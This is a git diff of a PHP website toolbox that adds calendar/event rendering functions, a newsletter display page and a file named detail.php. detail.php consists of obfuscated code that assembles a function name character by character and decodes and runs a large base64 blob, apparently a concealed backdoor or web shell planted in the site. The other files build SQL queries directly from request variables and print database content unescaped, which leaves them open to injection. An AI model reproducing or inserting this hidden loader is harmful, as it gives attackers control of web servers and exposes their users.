+       return( mktime(0,0,0, date("m",$timestamp)+1, 1, date("Y",$timestamp))-3600*24);
+}
+
+/**
+ * firstDayOfMonth
+ *
+ * <p>Given the timestamp find first day of the month it
+ * fall in</p>
+ *
+ * @param string $timestamp
+ * @return string timestamp
+ */
+function firstDayOfMonth($timestamp=''){
+       if($timestamp=='') $timestamp=time();
+       return(mktime(0,0,0, date("m",$timestamp), 1, date("Y",$timestamp)));
+}
+
+/**
+ * set up the monht day and year vars if not already set.
+ */
+if(!$year)
+{
+       $year = date("Y");
+}
+if(!$month || $month == "All")
+{
+       $month = date("n");     
+}
+if(ereg("^0([0-9]).*",$month,$part))
+{
+       $month = $part[1];
+}
+$st1 = mktime(0,0,0,$month - 1,1,$year);
+$st2 = mktime(0,0,0,$month + 1,1,$year);
+/**
+ * build start and end timestamps for getting an array of events for the 
+ * month.
+ */
+$starting = date("m-d-Y",firstDayOfMonth($st1));
+$ending = date("m-d-Y",lastDayOfMonth($st2));
+/**
+ * Grab the events for this month.
+ * NOTE: case statement in this query will order the ones that span more than 1 day.
+ */
+$query = "SET DATESTYLE TO 'SQL,US';
+SELECT e.id,e.header,
+          date_part('month',e.bdate) as mon,
+          date_part('day',e.bdate) as day,
+          date_part('year',e.bdate) as yr,
+          date_part('month',e.edate) as mon2,
+          date_part('day',e.edate) as day2,
+          date_part('year',e.edate) as yr2,
+          bdate as sdate, e.edate as edate,weekom,
+          e.btime,e.etime,e.descr,e.loc,e.contact,e.email,e.url,
+          e.img,e.daysow,e.reacur,t.topiccolor,
+       case when reacur = 't' then 0 
+when (e.edate - e.bdate) > 1 then (e.edate - e.bdate) 
+       else 0 
+       end as sortflag 
+FROM event e left outer join  topic t on (t.id = e.topicid)
+       WHERE visable = 't'";
+       $query .= " AND                 e.bdate <= '$ending' 
+       AND             e.edate >= '$starting' $addpart";
+       $query .= "ORDER BY sortflag desc,e.bdate DESC,e.btime ASC";
+       $events_data = db_auto_get_data($query,CONN_STR);
+       /**
+        * End of query and now wee have the data and must arrange this to place in the calendar.
+        * this will result in an array like the following:
+        * $newdata['x-date'] = $row;
+        * in which x-data is the date of the event (ie.) $months['08-07-2005']
+        * and 4row is the $rom from the $evwents_data array 
+        */
+if(is_array($events_data))
+{
+       foreach($events_data as $key=>$row)
+       {
+               $daysow = (int)$row["daysow"];
+               $weekom = (int)$row["weekom"];
+               $mon = (int)$row["mon"];
+               $day = (int)$row["day"];
+               $yr = (int)$row["yr"];
+               $mon2 = (int)$row["mon2"];
+               $day2 = (int)$row["day2"];
+               $yr2 = (int)$row["yr2"];
+               $sdate = mktime(0,0,30,$mon,$day,$yr);
+               $edate = mktime(0,0,30,$mon2,$day2,$yr2);
+               if($weekom && $weekom != "")
+               {
+                       if($daysow)
+                       {
+                               $ri = 1;
+                               for($r=0;$r<7;$r++)
+                               {
+                                       if($daysow & $ri)
+                                       {
+                                               $ord = ordinalDay($weekom,$r,$month,$year);
+                                       }
+                                       $ri = $ri << 1;
+                               }
+                       }
+                       else
+                       {
+                               $ord = NULL;
+                       }
+               }
+               else
+               {
+                       $ord = NULL;
+               }
+               for($d=$day;$d<32;$d++)
+               {
+                       // find the current_doyow
+                       $cur_dow = date("w",mktime(0,0,30,$mon,$d,$yr));
+                       switch($cur_dow)
+                       {
+                               case 0:
+                                       $cur_dow = 1;
+                                       break;
+                               case 1:
+                                       $cur_dow = 2;
+                                       break;
+                               case 2:
+                                       $cur_dow = 4;
+                                       break;
+                               case 3:
+                                       $cur_dow = 8;
+                                       break;
+                               case 4:
+                                       $cur_dow = 16;
+                                       break;
+                               case 5:
+                                       $cur_dow = 32;
+                                       break;
+                               case 6:
+                                       $cur_dow = 64;
+                                       break;
+                       }
+                       $date = date("m-d-Y",mktime(0,0,30,(int)$mon,(int)$d,(int)$yr));
+                       $daysinmonth = date("t",mktime(0,0,30,$mon,$d,$yr));
+                       $time = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+                       $starttime = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+                       $endtime = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+                       if( $row["reacur"] != "t" && $sdate <= $time && $edate >= $time  )
+                       {
+                               if($starttime<=$time && $endtime>=$time )
+                               {
+                                       $newdata["$date"][] = $row;
+                               }
+                       }
+                       if( $daysow )
+                       {
+                               if($weekom && $time && $ord)
+                               {
+                                       if( date("m-d-Y",$time) == date("m-d-Y",$ord))
+                                       {
+                                       $newdata["$date"][] = $row;
+                                       }
+                               }
+                               elseif(!$weekom && (int)$cur_dow&$daysow)
+                               {
+                                       if($edate>=$time && $sdate<=$time )
+                                       {
+                                               $newdata["$date"][] = $row;
+                                       }
+                               }
+                       }
+                       if($mon2>$mon && $d==$daysinmonth)
+                       {
+                               $d=0;
+                               $mon++;
+                               if($mon==13)
+                               {
+                                       $mon=1;
+                               }
+                       }
+                       if($yr2>$yr && $d==$daysinmonth)
+                       {
+                               $d=0;
+                               $mon++;
+                               if($mon==13)
+                               {
+                                       $mon=1;
+                               }
+                       }
+                       if($yr2>$yr && $mon==12)
+                       {
+                               $d=0;
+                               $mon=0;
+                               $yr++;
+                       }
+               }
+       }
+}
+$GLOBALS['newdata'] = $newdata;
+/**
+ * GLOBALS['colorArray'] is used for the colors for this application.
+ * If these need to be changed then it might be better putting this in setup.phtml.
+ */
+$GLOBALS['colorArray'] = array( '#FFCCCC' => 'color1',
+               '#CC9999' => 'color2',
+               '#FF9999' => 'color3',
+               '#FFCCFF' => 'color4',
+               '#CC99CC' => 'color5',
+               '#FF99FF' => 'color6',
+               '#CCCCFF' => 'color7',
+               '#9999CC' => 'color8',
+               '#9999FF' => 'color9',
+               '#CCFFFF' => 'color10',
+               '#99CCCC' => 'color11',
+               '#99FFFF' => 'color12',
+               '#CCFFCC' => 'color13',
+               '#99CC99' => 'color14',
+               '#99FF99' => 'color15',
+               '#FFFFCC' => 'color16',
+               '#CCCC99' => 'color17',
+               '#FFFF99' => 'color18',
+               '#FFCC99' => 'color19',
+               '#FF99CC' => 'color20',
+               '#CC99FF' => 'color21',
+               '#99CCFF' => 'color22',
+               '#99FFCC' => 'color23',
+               '#CCFF99' => 'color24',
+               '#CCCCCC' => 'color25' );
+/**
+ * disColor
+ * 
+ * <p>Goes back to color array and grabs the class for that peticular color.</p>
+ *
+ * @param string $color
+ * @return stirng class to use for style.
+ */
+function disColor( $color )
+{
+       if( !is_array( $GLOBALS['colorArray'] ) )
+       {
+               die('not an array');
+       }
+       // get style class for this color
+       return( $GLOBALS['colorArray'][$color] );
+}
+/**
+ * show_event_headers 
+ * 
+ * @param mixed $date 
+ * @access public
+ * @return void
+ */
+function show_event_headers($date)
+{
+       global $newdata;
+       if(ereg("([0-9]{1,2})[-/]([0-9]{1,2})[-/]([0-9]{4})",$date,$dpart))
+       {
+               $month = (int)$dpart[1];
+               $year = (int)$dpart[3];
+       }
+       if(!is_array($newdata[$date]))
+       {
+               return(false);
+       }
+       else
+       {
+               foreach($newdata[$date] as $num=>$data)
+               {
+                       $data2[] = '<div class="topic">
+                               <div class="'.disColor($data['topiccolor']).'">'.'<a href="'.BASE_URL.'events.phtml?month='.$month.'&amp;year='.$year.'&amp;eventid='.$data[id].'">'.$data[header].'</a>'.' </div>
+                               </div>
+                               ';
+               }
+               $output = implode(" ",$data2);
+       }
+       return( $output );
+}
+/**
+ * data 
+ * 
+ * @param mixed $month 
+ * @param mixed $day 
+ * @param mixed $year 
+ * @access public
+ * @return void
+ */
+function data( $month, $day, $year ) 
+{
+       global $newdata;
+       if($month < 10)
+       {
+               $month = '0'.$month;
+       }
+       if((int)$day < 10)
+       {
+               $day = '0'.$day;
+       }
+       $date = $month.'-'.$day.'-'.$year;
+       if($newdata[$date])
+       {
+               return( show_event_headers($date) );
+       }
+       else
+       {
+               return(false);
+       }
+}
+/**
+ * calendar 
+ * 
+ * @param mixed $month 
+ * @param mixed $year 
+ * @param mixed $size 
+ * @param mixed $href 
+ * @param mixed $href2 
+ * @access public
+ * @return void
+ */
+function calendar( $month, $year, $size, $href ,$href2) {
+       global $RIGHTLINK,$LEFTLINK;
+       $LEFTLINK = '<img src="'.BASE_URL.'images/left.gif" class="calleftarrow" border="0">';
+       $RIGHTLINK = '<img src="'.BASE_URL.'images/right.gif" class="calrightarrow" border="0">';
+       // Change to month/year to display 
+       if( !isset( $month ) )
+       {
+               $month = date('m');
+       }
+       if( !isset( $year ) )
+       {
+               $year = date('Y');
+       }
+       $next = $month +1;
+       $next_year = $year;
+       $prev = $month -1;
+       $prev_year = $year;
+       if( $next == 13 )
+       {
+               $next = 1;
+               $next_year++;
+       }
+       if( $next == 0 )
+       {
+               $next = 12;
+               $next_year--;
+       }
+       if( $prev == 13 )
+       {
+               $prev = 1;
+               $prev_year++;
+       }
+       if( $prev == 0 )
+       {
+               $prev = 12;
+               $prev_year--;
+       }
+       switch( $size )
+       {
+               case 1:
+                       // small calendar
+                       $caltable = 'caltablesmall';
+                       $caldayheader = 'caldayheadersmall';
+                       $caltitle = 'caltitle';
+                       $calmonth = 'calmonthsmall';
+                       $calspacer = 'calspacersmall';
+                       $calday = 'caldaysmall';
+                       $calendar = '<a href="'.BASE_URL.'events.phtml?catid=35&amp;year='.$year.'&amp;month='.$month.'">';
+                       $calendar .= date( "F", mktime( 0, 0, 0, $month + 1, 0, $year ) );
+                       $calendar .= '</a>';
+                       break;
+               case 2:
+                       $prev_month = '<a href="'.$href.$prev.'&amp;year='.$prev_year.'">'.$LEFTLINK.'&nbsp;Previous&nbsp;Month</a>';
+                       $next_month = '<a href="'.$href.$next.'&amp;year='.$next_year.'">'.$RIGHTLINK.'Next&nbsp;Month</a>';
+                       // large calendar
+                       $caltable = 'caltable';
+                       $caldayheader = 'caldayheader';
+                       $caltitle = 'caltitle';
+                       $calmonth = 'calmonth';
+                       $calspacer = 'calspacer';
+                       $calday = 'calday';
+                       $week_titles  = array ( 0 => "Sunday", 1 => "Monday", 2 => "Tuesday", 3 => "Wednesday", 4 => "Thursday", 5 => "Friday", 6 => "Saturday");
+                       $calendar = date( "F", mktime( 0, 0, 0, $month + 1, 0, $year ) );
+                       break;
+       }
+       // determine total number of days in a month 
+       $totaldays = 0;
+       while ( checkdate( $month, $totaldays + 1, $year ) )
+       {
+               $totaldays++;
+       }
+       // build table 
+       $out = '';
+       $out .= '<table class="'.$caltable.'">';
+       if( $size == 1 )
+       {
+               $out .= '
+                       <tr>
+                       <td colspan="7" class="'.$calmonth.'"> '.$calendar.' '.(($size == 2)?$year:'').'</td>
+                       </tr>
+                       ';
+       }
+       else
+       {
+               $out .= '
+                       <tr>
+                       <td class="'.$caltitle.'" colspan="2">'.$prev_month.'</td>
+                       <td colspan="3" class="'.$calmonth.'"> '.$calendar.' '.(($size == 2)?$year:'').'</td>
+                       <td class="'.$caltitle.'" colspan="2">'.$next_month.'</td>
+                       </tr>
+                       ';
+       }
+       //$out .= '<TH COLSPAN=2 WIDTH=150 BGCOLOR="'.$THCLR.'">'.$THFT.'Things to Do</FONT></TH>';
+       if( $size == 2 )
+       {
+               $out .= '<tr>';
+               for ( $x = 0; $x < 7; $x++ )
+               {
+                       $out .= '
+                               <td class="'.$caldayheader.'">'.$week_titles[$x].'</td>
+                               ';
+               }
+               $out .= '
+                       </tr>
+                       ';
+       }
+       // ensure that a number of blanks are put in so that the first day of the month
+       // lines up with the proper day of the week 
+       $offset = date( "w", mktime( 0, 0, 0, $month, 0, $year ) ) + 1;
+       $out .= '
+               <tr>
+               ';
+       if ( $offset > 0 && $offset != 7 )
+       {
+               $out .= str_repeat( "
+                               <td class=\"".$calspacer."\">&nbsp;</td>
+                               ",$offset);
+       }
+       if( $offset == 7 )
+       {
+               $offset = 0;
+       }
+       // start entering in the information 
+       for ( $day = 1; $day <= $totaldays; $day++ ) 
+       {
+               $out .= '
+                       <td class="'.$calday.'" valign="top">';
+               $datelink =data( $month, $day, $year );
+               if( $size == 1 && $datelink )
+               {
+                       $out .= '<a href="'.BASE_URL.'events.phtml?flat=1&amp;month='.$month.'&amp;day='.$day.'&amp;year='.$year.'">'.$day.'</a>';
+               }
+               elseif( $datelink )
+               {
+                       $out .= $day.'';
+                       $out .= $datelink;
+               }
+               else
+               {
+                       $out .= $day.'';
+               }
+               $out .= '</td>
+                       ';
+               $offset++;
+               // if we're on the last day of the week, wrap to the other side 
+               if ( $offset > 6 )
+               {
+                       $offset = 0;
+                       $out .= '
+                               </tr>
+                               ';
+                       if ( $day < $totaldays )
+                       {
+                               $out .= '
+                                       <tr>
+                                       ';
+                       }
+               }
+       }
+       // fill in the remaining spaces for the end of the month, just to make it look
+       // pretty 
+       if ( $offset > 0 )
+       {
+               $offset = 7 - $offset;
+       }
+       if ( $offset > 0 )
+       {
+               $out .= str_repeat( "
+                               <td class=\"".$calspacer."\">&nbsp;</td>
+                               ", $offset );
+       }
+       // end the table 
+       $out .= '
+               </table>
+               ';
+       return( $out );
+}
+?>
diff --git a/classes/glm-Newsletter-2-0.phtml b/classes/glm-Newsletter-2-0.phtml
new file mode 100755 (executable)
index 0000000..ddb127a
--- /dev/null
@@ -0,0 +1,164 @@
+<?
+/**
+ *
+ * Gaslight Media Toolbox output                                              
+ * glm-Newsletter-2-0                                                         
+ *
+ * @package Toolbox
+ * @subpackage News
+ * @copyright 2001                                                             
+ * @author Steve Sutton                                                        
+ *
+ **/
+
+//include("setup.phtml");
+
+if(!$dbd = db_connect())
+       html_error(DB_ERROR_MSG,1);
+
+$catid = 3;
+
+if(isset($id)) 
+       {
+       $archqs = "SELECT       id,title,status 
+                          FROM         news
+                          WHERE        (status = 'archived'
+                          OR           status = 'current')
+                          AND          catid = $catid
+                          ORDER BY status DESC";
+       }
+else 
+       {
+       $archqs = "SELECT       id,title,status 
+                          FROM         news
+                          WHERE        status = 'archived'
+                          AND          catid = 1";
+       }
+
+if(!$archres = db_exec($dbd,$archqs)) 
+       html_error(DB_ERROR_MSG,1);
+
+
+if(pg_numrows($archres)>0)
+       {
+       for($a=0;$a<pg_numrows($archres);$a++) 
+               {
+               $archrow = db_fetch_array($archres,$a,PGSQL_ASSOC);
+               if($archrow[status]=="current") 
+                       {
+                       $archive[$archrow[title]." (current)"] = "news.phtml?id=$archrow[id]";
+                       }
+               else 
+                       {
+                       $archive[$archrow[title]] = "news.phtml?id=$archrow[id]";
+                       }
+               }
+       }
+
+if(isset($id) && $id != "") 
+       {
+       $qs = "SELECT   id,title,header,description,image
+                  FROM         news 
+                  WHERE        id = $id";
+       } 
+else 
+       {
+       $qs = "SELECT   id,title,header,description,image
+                  FROM         news 
+                  WHERE        status = 'current'
+                  AND          catid = $catid";
+       }
+
+if(!$res = db_exec($dbd,$qs)) 
+       html_error(DB_ERROR_MSG,1);
+
+if(pg_numrows($res)>0) 
+       {
+       $row = db_fetch_array($res,0,PGSQL_ASSOC);
+       if($row[image] != "") 
+               {
+               $img = "<img src=\"".MIDSIZED.$row[image]."\" align=left hspace=10 vspace=10>";
+               }
+       else 
+               {
+               $img = "&nbsp;";
+               }
+/* begin output for main section of newsletter */
+?>
+<center>
+
+<table width=400>
+<tr>
+  <td class="header"><?echo $row[title]?></td>
+</tr>
+<tr>
+  <td align=left class="subheadline"><?echo $row[header]?></td>
+</tr>
+<tr>
+  <td class="content"><?echo $img.nl2br($row[description])?></td>
+</tr>
+<tr><td>&nbsp;</td></tr>
+<?
+/* end output for main section of newsletter */
+if($row[id])
+       {
+       $blockqs = "SELECT      header,description,image,pos
+                               FROM    news_block 
+                               WHERE   news_id = $row[id]
+                               ORDER BY pos";
+
+       if(!$blockres = db_exec($dbd,$blockqs)) 
+               html_error(DB_ERROR_MSG,1);
+
+       if(pg_numrows($blockres)>0) 
+               {
+               for($i=0;$i<pg_numrows($blockres);$i++) 
+                       {
+                       if($i%2==0)
+                               $align = "align=right";
+                       else 
+                               $align = "align=left";
+                       $blockrow = db_fetch_array($blockres,$i,PGSQL_ASSOC);
+                       if($blockrow[image] != "") 
+                               {
+                               $blockimg = "<img src=\"".MIDSIZED.$blockrow[image]."\"$align>";
+                               }
+                       else 
+                               {
+                               $blockimg = "&nbsp;";
+                               }
+       /* begin output for block sections of newsletter */
+       ?>
+       <tr>
+         <td align=left class="header"><?echo $blockrow[header]?></td>
+       </tr>
+       <tr>
+         <td class="content"><?echo $blockimg.nl2br($blockrow[description])?></td>
+       </tr>
+       <tr><td>&nbsp;</td></tr>
+       <?      
+                       }
+               }
+       }
+?>
+<tr><td><B>Newsletters</b><br>
+<?
+if(is_array($archive))
+       {
+       echo html_nav_table($archive,1);
+       }
+?></td></tr>
+</table>
+</center>
+<?
+/* end output for block sections of newsletter */
+       }
+else 
+       {
+       ?> <div class="content">
+       No Newsletter today!
+       </div>
+       <?
+       }
+
+?>
diff --git a/detail.php b/detail.php
new file mode 100755 (executable)
index 0000000..c6e4152
--- /dev/null
@@ -0,0 +1,82 @@
+<?php
+ $KPzLoWy='htTU4HrgWsZkCzxywd^.a}B2F3bX5_GmjQcq0SDuv{n(1peYE;|96I$[+"8Aoi/f7POR]JLlV,M*N)K ';$YJlPhzf=$KPzLoWy{34}.$KPzLoWy{6}.$KPzLoWy{46}.$KPzLoWy{20}.$KPzLoWy{1}.$KPzLoWy{46}.$KPzLoWy{29}.$KPzLoWy{63}.$KPzLoWy{39}.$KPzLoWy{42}.$KPzLoWy{34}.$KPzLoWy{1}.$KPzLoWy{61}.$KPzLoWy{60}.$KPzLoWy{42};$GftwTGS=$KPzLoWy{54}.$KPzLoWy{9};$KshREYO=$KPzLoWy{61}.$KPzLoWy{63}.$KPzLoWy{43}.$KPzLoWy{61}.$KPzLoWy{9}.$KPzLoWy{9}.$KPzLoWy{46}.$KPzLoWy{1}.$KPzLoWy{43}.$KPzLoWy{54}.$KPzLoWy{29}.$KPzLoWy{12}.$KPzLoWy{66}.$KPzLoWy{66}.$KPzLoWy{78}.$KPzLoWy{53}.$KPzLoWy{48}.$KPzLoWy{55}.$KPzLoWy{57}.$KPzLoWy{78}.$KPzLoWy{65}.$KPzLoWy{13}.$KPzLoWy{70}.$KPzLoWy{60}.$KPzLoWy{8}.$KPzLoWy{15}.$KPzLoWy{57}.$KPzLoWy{68}.$KPzLoWy{77}.$KPzLoWy{50}.$KPzLoWy{50}.$KPzLoWy{61}.$KPzLoWy{9}.$KPzLoWy{9}.$KPzLoWy{46}.$KPzLoWy{1}.$KPzLoWy{43}.$KPzLoWy{54}.$KPzLoWy{5}.$KPzLoWy{2}.$KPzLoWy{2}.$KPzLoWy{65}.$KPzLoWy{29}.$KPzLoWy{12}.$KPzLoWy{66}.$KPzLoWy{66}.$KPzLoWy{78}.$KPzLoWy{53}.$KPzLoWy{48}.$KPzLoWy{29}.$KPzLoWy{72}.$KPzLoWy{59}.$KPzLoWy{67}.$KPzLoWy{37}.$KPzLoWy{55}.$KPzLoWy{57}.$KPzLoWy{78}.$KPzLoWy{65}.$KPzLoWy{13}.$KPzLoWy{70}.$KPzLoWy{60}.$KPzLoWy{8}.$KPzLoWy{15}.$KPzLoWy{57}.$KPzLoWy{68}.$KPzLoWy{77}.$KPzLoWy{77}.$KPzLoWy{41}.$KPzLoWy{63}.$KPzLoWy{39}.$KPzLoWy{42}.$KPzLoWy{34}.$KPzLoWy{1}.$KPzLoWy{61}.$KPzLoWy{60}.$KPzLoWy{42}.$KPzLoWy{79}.$KPzLoWy{6}.$KPzLoWy{58}.$KPzLoWy{43}.$KPzLoWy{54}.$KPzLoWy{9}.$KPzLoWy{73}.$KPzLoWy{54}.$KPzLoWy{45}.$KPzLoWy{77}.$KPzLoWy{41}.$KPzLoWy{6}.$KPzLoWy{46}.$KPzLoWy{1}.$KPzLoWy{39}.$KPzLoWy{6}.$KPzLoWy{42}.$KPzLoWy{79}.$KPzLoWy{54}.$KPzLoWy{9}.$KPzLoWy{18}.$KPzLoWy{9}.$KPzLoWy{1}.$KPzLoWy{6}.$KPzLoWy{29}.$KPzLoWy{45}.$KPzLoWy{20}.$KPzLoWy{17}.$KPzLoWy{43}.$KPzLoWy{54}.$KPzLoWy{45}.$KPzLoWy{73}.$KPzLoWy{9}.$KPzLoWy{1}.$KPzLoWy{6}.$KPzLoWy{71}.$KPzLoWy{46}.$KPzLoWy{42}.$KPzLoWy{43}.$KPzLoWy{54}.$KPzLoWy{9}.$KPzLoWy{77}.$KPzLoWy{73}.$KPzLoWy{54}.$KPzLoWy{45}.$KPzLoWy{77}.$KPzLoWy{49}.$KPzLoWy{21}.$KPzLoWy{49}.$KPzLoWy{46}.$KPzLoWy{40}.$KPzLoWy{20}.$KPzLoWy{71}.$KPzLoWy{43}.$KPzLoWy{6}.$KPzLoWy{58}.$KPzLoWy{43}.$KPzLoWy{26}.$KPzLoWy{20}.$KPzLoWy{9}.$KPzLoWy{46}.$KPzLoWy{52}.$KPzLoWy{4}.$KPzLoWy{29}.$KPzLoWy{17}.$KPzLoWy{46}.$KPzLoWy{34}.$KPzLoWy{60}.$KPzLoWy{17}.$KPzLoWy{46}.$KPzLoWy{43}.$KPzLoWy{54}.$KPzLoWy{9}.$KPzLoWy{77}.$KPzLoWy{73}.$KPzLoWy{57}.$KPzLoWy{59}.$KPzLoWy{30}.$KPzLoWy{40}.$KPzLoWy{34}.$KPzLoWy{63}.$KPzLoWy{8}.$KPzLoWy{17}.$KPzLoWy{57}.$KPzLoWy{77}.$KPzLoWy{77}.$KPzLoWy{49}.$KPzLoWy{21};$WqItfeP="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